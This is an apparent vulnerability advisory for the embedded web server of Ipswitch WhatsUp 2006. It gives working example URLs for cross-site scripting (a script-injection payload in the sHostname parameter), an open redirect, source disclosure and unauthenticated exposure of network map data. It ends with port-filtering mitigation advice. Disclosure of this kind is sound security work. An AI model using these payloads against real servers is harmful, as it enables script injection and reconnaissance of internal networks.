WhatsUp is a tool from Ipswitch to monitor application and network, embedding a custom web server on port 8022. Description: This custom web server is prone to multiple flaws. -as authenticated user: *src disclosure http://server:8022/NmConsole/Login.asp. *there are many XSS flaws, as http://server:8022/NmConsole/Navigation.asp?sDeviceView=&nDeviceID= http://server:8022/NmConsole/ToolResults.asp?bIsIE=true&nToolType=0&sHostname=%3cscript%3ealert('me')%3c/script%3e&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping *redirection http://server:8022/NmConsole/DeviceSelection.asp?sRedirectUrl=Reports/DevicePassiveMonitorSyslog.asp&sCancelURL=http://www.google.fr -not being authenticated: *src disclosure http://server:8022/NmConsole/Login.asp. *network nodes information disclosure (name, internal addr, service) http://server:8022/NmConsole/utility/RenderMap.asp?nDeviceGroupID=0 The weaknesses have been confirmed in version 2006, source disclosure in version 2005 and 2005 SP1 too. Other versions may also be affected. No response from vendor. Solution: -Filtered TCP port 8022, ask a patch from vendor if you are a registered user -Keep an eye on an opensource project: http://gnms.rubyforge.org David Maciejak